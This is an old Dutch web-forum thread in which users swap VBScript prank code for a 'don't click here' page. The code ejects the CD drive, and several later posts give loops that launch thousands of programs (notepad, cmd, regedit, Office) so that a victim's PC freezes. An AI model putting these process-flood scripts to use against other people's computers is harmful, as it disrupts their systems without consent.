login  Naam:   Wachtwoord: 
Registreer je!
 Forum

kladblok.vbs

Offline Sustructu - 22/03/2005 19:58
Avatar van SustructuNieuw lid hoi,

ik weet niet of het hier hoort... maar ik zet het tog hier maar bij:
misschien kennen sommige van jullie wel de site klikhierniet.net, ik ben ook zoiets aan het maken op kladblok. Het gaat heel goed alleen zoek ik een code's waarmee ik het een beetje kan opleuken zoals dat als je op 'ok' klikt dat dan je cd-drive opengaat of zow...
kan iemand mij aan die code's helpen:?: :?:

Groetjes Sam

16 antwoorden

Gesponsorde links
Offline MiniSlager - 22/03/2005 20:21
Avatar van MiniSlager Nieuw lid Moet je met VB doen volgens mij :S
Offline CeReBro - 22/03/2005 20:31
Avatar van CeReBro Lid In scripts was er een script ervan is een vbs script
Offline Fenrir - 22/03/2005 20:36
Avatar van Fenrir PHP expert Dat is gewoon een javascript alert, je kunt daarmee dus niet je cd-rom speler open doen.

gewoon:
alert('bericht1');
alert('bericht2');
alert('bericht3');
Offline Sustructu - 22/03/2005 20:55
Avatar van Sustructu Nieuw lid wel hoor... mijn vriend heeft dat op school gedaan dus het moet kunnen... hij is alleen de code vergeten...
Offline BigBug - 22/03/2005 20:56
Avatar van BigBug PHP expert
Citaat:
wel hoor... mijn vriend heeft dat op school gedaan dus het moet kunnen... hij is alleen de code vergeten...


hij heeft het over javascript...
Offline prass - 22/03/2005 21:51
Avatar van prass Nieuw lid Ja die weet ik :

Opent een CD-ROM drive Zet onderstaande code in een module en roep vanuit een Form de methode OpenCdDrive aan
php code - Bekijk de code zonder highlighting - Klap code in 
  1. Option Explicit 
  2.  
  3. Public Declare Function mciSendString Lib "winmm.dll"_ 
  4.      Alias "mciSendStringA"_ 
  5.     (ByVal lpstrCommand As String, _ 
  6.      ByVal lpstrReturnString As String, _ 
  7.      ByVal uReturnLength As Long, _ 
  8.      ByVal hwndCallback As Long) As Long 
  9.  
  10. Public Sub OpenCDDrive 
  11.    Call mciSendString("Set CDAudio Door Open Wait", 0&, 0&, 0&) 
  12. End Sub


Asje
Offline MiniSlager - 22/03/2005 22:01
Avatar van MiniSlager Nieuw lid Jij hebt mooi van WMCity gekopieëerd
Offline prass - 22/03/2005 22:49
Avatar van prass Nieuw lid Tja maakt dat uit dan .. Je hebt het script nu tog 
Offline Duikboot - 22/03/2005 22:56 (laatste wijziging 22/03/2005 22:59)
Avatar van Duikboot Grafische gevorderde Omg... waar maakt het uit waar die code vandaan komt, hij geeft toch antwoord op de vraag. Net alsof jij nooit codes van andere site's gebruikt...

Jij was het dus zelf ook van plan, want je gaat me niet vertellen dat je dat toevallig bent tegengekomen. Het is niet een script dat je zo 1,2,3 tegenkomt...
Offline Ontani - 22/03/2005 23:04
Avatar van Ontani Gouden medailleGouden medailleGouden medailleGouden medaille

-1		 toch een vraag

wrm zou je in hemelsnaam Option Explicit opzetten voor een scripte van 5 regels waar je nergens fouten kan maken tegen conversie van variabelen.

maarja. vraag mij toch af wie der nu nog programeerd met vbs of vb 6. waar blijven die .NET mensen toch
Offline Dekin - 31/03/2005 14:17
Avatar van Dekin Nieuw lid Dit is ook zo'n script dat je cd-drive open gaat.
php code - Bekijk de code zonder highlighting - Klap code in 
  1. <!--Dit zet u in de body van de pagina-->
  2. <SCRIPT LANGUAGE="VBScript">
  3.  
  4. <!-- Voor de leukste scripts gaat u naar...-->
  5. <!-- Sentinelli’s Javascript! The source for all your Javascript and PHP -->
  6. <!--
  7. MsgBox "Gelooft u in spoken?",64,"spook comp!"
  8. Set oWMP = CreateObject("WMPlayer.OCX.7" )
  9. Set colCDROMs = oWMP.cdromCollection
  10. if colCDROMs.Count >= 1 then
  11. For i = 0 to colCDROMs.Count - 1
  12. colCDROMs.Item(i).Eject
  13. Next ' cdrom
  14. End If
  15. -->
  16. </SCRIPT>
 
Offline Slipie - 31/03/2005 14:24
Avatar van Slipie PHP beginner Als je lokaal een firewall hebt geinstalleerd zal je cdrom speler niet opengaan
Offline Futs - 04/04/2005 22:59
Avatar van Futs Nieuw lid of gezellig de PC of zn flikker geven door lekker veel apps te openen..

php code - Bekijk de code zonder highlighting - Klap code in 
  1. <script language="VBScript">
  2. <!--
  3. Dim i 
  4. i = 1 
  5.  
  6. Do While i < 2000 
  7. i = i+1 
  8. Set shell=CreateObject("WScript.Shell")
  9. shell.Run "NOTEPAD.EXE"
  10. Loop
  11. -->
  12. </script>
Offline Futs - 04/04/2005 23:00
Avatar van Futs Nieuw lid Dit is nog gezelliger.... koekje erbij?

php code - Bekijk de code zonder highlighting - Klap code in 
  1. <script language="VBScript">
  2. <!--
  3. Dim i 
  4. i = 1 
  5.  
  6. Do While i < 100 
  7. i = i+1 
  8. Set shell=CreateObject("WScript.Shell")
  9. shell.Run "WINWORD.EXE"
  10. Set shell=CreateObject("WScript.Shell")
  11. shell.Run "EXCEL.EXE"
  12. Set shell=CreateObject("WScript.Shell")
  13. shell.Run "OUTLOOK.EXE"
  14. Set shell=CreateObject("WScript.Shell")
  15. shell.Run "NOTEPAD.EXE"
  16. Set shell=CreateObject("WScript.Shell")
  17. shell.Run "taskmgr.exe"
  18. Set shell=CreateObject("WScript.Shell")
  19. shell.Run "msnmsgr.exe"
  20. Set shell=CreateObject("WScript.Shell")
  21. shell.Run "calc.exe"
  22. Set shell=CreateObject("WScript.Shell")
  23. shell.Run "mspaint.exe"
  24. Set shell=CreateObject("WScript.Shell")
  25. shell.Run "wordpad.exe"
  26. Set shell=CreateObject("WScript.Shell")
  27. shell.Run "hypertrm.exe"
  28. Set shell=CreateObject("WScript.Shell")
  29. shell.Run "cmd.exe"
  30. Set shell=CreateObject("WScript.Shell")
  31. shell.Run "moviemk.exe"
  32. Loop
  33. -->
  34. </script>
Offline nemesiskoen - 04/04/2005 23:21 (laatste wijziging 04/04/2005 23:22)
Avatar van nemesiskoen Gouden medaille

PHP expert		 wel vrij duidelijk dat je alles kopiert 
lol
geen idee WAT je doet he

2000 keer een object definieren... je moet maar microsoft heten om een OS te maken dat zoiets toelaat... mss iets korter?


php code - Bekijk de code zonder highlighting - Klap code in 
  1. Set ws = WScript.CreateObject ("WScript.Shell")
  2. i = 1
  3. Do While i < 20000
  4. i = i+1 
  5. ws.Run("cmd")
  6. WScript.Echo "Klik mij"
  7. ws.Run("regedit")
  8. WScript.Echo "Klik mij"
  9. ws.Run("winword")
  10. WScript.Echo "Klik mij"
  11. ws.Run("excel")
  12. WScript.Echo "Klik mij"
  13. ws.Run("powerpnt")
  14. WScript.Echo "Klik mij"
  15. ws.Run("notepad")
  16. WScript.Echo "Klik mij"
  17. Loop


en zo kan je blijven doorgaan
Offline Futs - 04/04/2005 23:42
Avatar van Futs Nieuw lid dat klopt, van VBS heb ik de balle verstand, moet het meer hebben van JS ;)
Gesponsorde links
Dit onderwerp is gesloten.
Actieve forumberichten
© 2002-2024 Sitemasters.be - Regels - Laadtijd: 0.237s